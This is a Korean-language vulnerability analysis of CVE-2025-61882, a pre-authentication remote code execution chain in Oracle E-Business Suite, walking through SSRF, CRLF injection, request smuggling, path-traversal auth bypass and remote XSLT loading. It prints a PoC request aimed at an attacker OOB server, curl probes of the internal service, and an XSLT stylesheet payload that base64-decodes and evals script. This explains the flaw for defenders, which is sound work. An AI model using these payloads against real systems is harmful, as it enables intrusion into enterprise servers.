[하루한줄] CVE-2025-61882: Oracle E-Business Suite에서 발생한 연쇄 취약점으로 인한 RCE (CRLF Injection 등)
URL
- https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
- https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/
Target
- Oracle E-Business Suite 12.2.3-12.2.14
Explain
CVE-2025-61882는 Oracle E-Business Suite(EBS)에서 발생하였으며, 단일 취약점이 아닌 연쇄 취약점 기반 Pre-Auth RCE Chain입니다. Oracle EBS는 기업용 통합 애플리케이션 모음 서비스로 영향 범위가 크며, 공격에는 다음 기법과 흐름으로 동작합니다.
- URL-encoded XML injection → SSRF
- CRLF injection
- Auth bypass
- HTTP request smuggling(keep-alive smuggling)
- OOB XSL / XSLT 로드
- XSLT Java 확장 / ScriptEngine 악용
1. URL-encoded XML → Server-Side Request Forgery (SSRF)
if (paramHttpServletRequest.getParameter("getUiType") != null) {
String str = paramHttpServletRequest.getParameter("redirectFromJsp"); // [1]
XMLDocument xMLDocument = XmlUtil.parseXmlString(paramHttpServletRequest.getParameter("getUiType")); // [0]
if (str == null || "false".equalsIgnoreCase(str)) {
redirectToCZInitialize(...);
return;
}
createNew(xMLDocument, httpSession, paramHttpServletRequest, paramHttpServletResponse); // [2]
}
먼저 첫 번째 취약성은 URL-encoded XML 입력 주입을 통해 SSRF가 발생한다는 점이며, 이는 servlet 진입부의 로직에서 비롯됩니다.
[0]
:getUiType
파라미터에서 XML 문자열을 직접 파싱합니다.[1]
:redirectFromJsp
가 null이 아닐 때createNew()
를 호출합니다.[2]
:createNew()
가 이후 XML 내용을 기반으로return_url
을 추출해 처리합니다.
protected void postXmlMessage(String paramString1, String paramString2) throws ServletException {
URL uRL = getUrl(paramString1);
if (uRL != null)
paramString1 = uRL.toExternalForm();
CZURLConnection cZURLConnection = new CZURLConnection(paramString1);
String[] arrayOfString1 = { "XMLmsg" };
String[] arrayOfString2 = { paramString2 };
cZURLConnection.connect(1, arrayOfString1, arrayOfString2);
cZURLConnection.close();
}
postXmlMessage()
는 return_url
로 CZURLConnection
을 만든 뒤 cZURLConnection.connect(...)
에서 URL.openConnection()
→HttpURLConnection
을 설정하고 getOutputStream()
단계에서 실제 TCP 연결을 맺어 POST를 전송합니다. 따라서 검증되지 않은 return_url
이 공격자 제어 주소라면, 서버가 그 대상으로 직접 아웃바운드 요청을 보내게 되어 SSRF가 성립합니다.
private void connect(URL paramURL, String paramString) throws IOException {
HttpURLConnection httpURLConnection = (HttpURLConnection)paramURL.openConnection();
updateDefaultHeaders(httpURLConnection, ...);
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestMethod("POST");
this.m_connectionOutputStream = httpURLConnection.getOutputStream();
postMessage(paramString, httpURLConnection);
}
또한 connect()
함수를 확인해보면 openConnection()
에서 생성된 연결이 검증없이 곧바로 POST를 수행하므로, 별다른 검증이 없는 상태로 네트워크 호출을 발생시키는 문제가 발생합니다.
2. CRLF Injection
PoC에 return_url
에 포함되어
, %0d%0a
와 같은 CRLF가 디코드되어 실제 바이트로 소켓에 쓰이면, 서버가 전송하는 HTTP 요청의 라인/헤더 경계를 조작해 임의의 헤더 블록이나 추가 요청 라인을 삽입할 수 있습니다.
redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url"><http://attacker-oob-server>/HeaderInjectionTest HTTP/1.1 InjectedHeader:Injected   POST /</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize></@urlencode>
즉, SSRF를 통해 요청 바디의 getUiType
에 URL-encoded XML을 보내고, 그 안의 return_url
에 \r\n
(CRLF)과 POST /
와 같은 추가 헤더 라인을 끼워 넣으면, 수신 측에서는 아래처럼 **주입된 요청 라인/헤더가 관찰됩니다.
POST /HeaderInjectionTest HTTP/1.1
--- HEADERS ---
InjectedHeader: Injected
3. HTTP persistent connection(keep-alive)
이후 두 번째 단계(CRLF injection)는 세 번째 단계인 HTTP keep-alive 악용을 가능하게 합니다.
keep-alive
HTTP/1.1에서 기본적으로 활성화된 동작으로, 하나의 TCP 연결을 닫지 않고 여러 요청/응답을 연속 처리할 수 있게 해 줍니다. (명시적으로Connection: close
가 아닌 한 지속)
즉, SSRF를 통해 요청 경계를 조작한 뒤, 동일한 TCP 연결을 keep-alive로 재사용하면 후속 요청을 같은 연결에서 연속 전송할 수 있어 탐지 노이즈를 줄이면서 후속 요청이 localhost:7201
과 같은 내부 대상으로 전달되도록 유도할 수 있습니다.
4. Auth Bypass
# netstat -lnt
tcp6 0 0 172.31.28.161:7201 :::* LISTEN
# cat /etc/hosts
172.31.28.161 apps.example.com apps
#
Oracle EBS 내부 애플리케이션 핵심 HTTP 서비스는 172.31.28.161:7201처럼 사설 IP에 바인딩되어 있는 형태인데, 이때 /etc/hosts
파일 안에 apps.example.com
매핑이 존재합니다. 때문에 서버 측 관점(SSRF/스머글링으로 열어둔 연결)에서는 http://apps.example.com:7201
으로 내부 서비스에 요청을 보낼 수 있습니다.
# curl -s http://apps.example.com:7201/OA_HTML/ieshostedsurvey.jsp
# curl -s --path-as-is http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp
또한 /OA_HTML/help/
는 인증이 요구되지 않는 공개 경로이므로, ../
와 같은 경로 횡단을 추가해 /OA_HTML/help/../ieshostedsurvey.jsp
형태로 화이트리스트를 우회해 보호된 jsp인 ieshostedsurvey.jsp
에 접근할 수 있도록 합니다.
5. XSL Transformation (XSLT)
<html>
<head>
..
</head>
<body <%=_jtfPageContext.getHtmlBodyAttr() %> class='applicationBody'>
..
StringBuffer urlbuf = new StringBuffer();
urlbuf.append("http://");
urlbuf.append(request.getServerName()); // [1]
urlbuf.append(":").append(request.getServerPort()).append(URI.toString()); // [2]
String xslURL = urlbuf.toString() + "ieshostedsurvey.xsl";
URL stylesheetURL = new URL(xslURL.toString()); // [3]
XSLStylesheet sheet = new XSLStylesheet(stylesheetURL,stylesheetURL); // [4]
XSLProcessor xslt = new XSLProcessor();
xslt.processXSL(sheet, xmlDoc, ...); //[5]
..
</body>
</html>
Auth Bypass로 접근된 ieshostedsurvey.jsp
에는 신뢰할 수 없는 입력으로 XSL URL을 동적으로 구성한 다음, 검증 없이 원격 XSL을 로드하고 처리하는 또 다른 취약점이 존재합니다.
[1]
,[2]
에서request.getServerName()
,request.getServerPort()
는 클라이언트가 조작 가능한 Host 헤더에 영향을 받는데, 이 값을 신뢰해xslURL
을 만들면 악성 XSL을 호스팅하는 서버를 가리키게 할 수 있습니다.[3]
,[4]
,[5]
의 코드를 확인해보면, 애플리케이션은 해당 원격 XSL을 즉시 로드하고 XSLT 처리를 수행합니다. XSLT 엔진이 확장 함수/스크립팅을 허용하는 환경이기 때문에 스타일시트 내부에서 RCE를 유발할 수 있습니다.
XSL 스타일시트 (payload)
<xsl:stylesheet version="1.0"
xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>"
xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>"
xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>"
xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>
위 XSL 스타일시트는 Base64로 숨긴 스크립트를 복원하고, ScriptEngine
으로 eval해 서버 프로세스 내에서 실행합니다. 결과적으로 JSP가 Host와 Port를 신뢰해 만든 xslURL
로 이 원격 XSL 스타일시트를 로드하는 순간 스크립트가 실행되어 RCE로 이어집니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.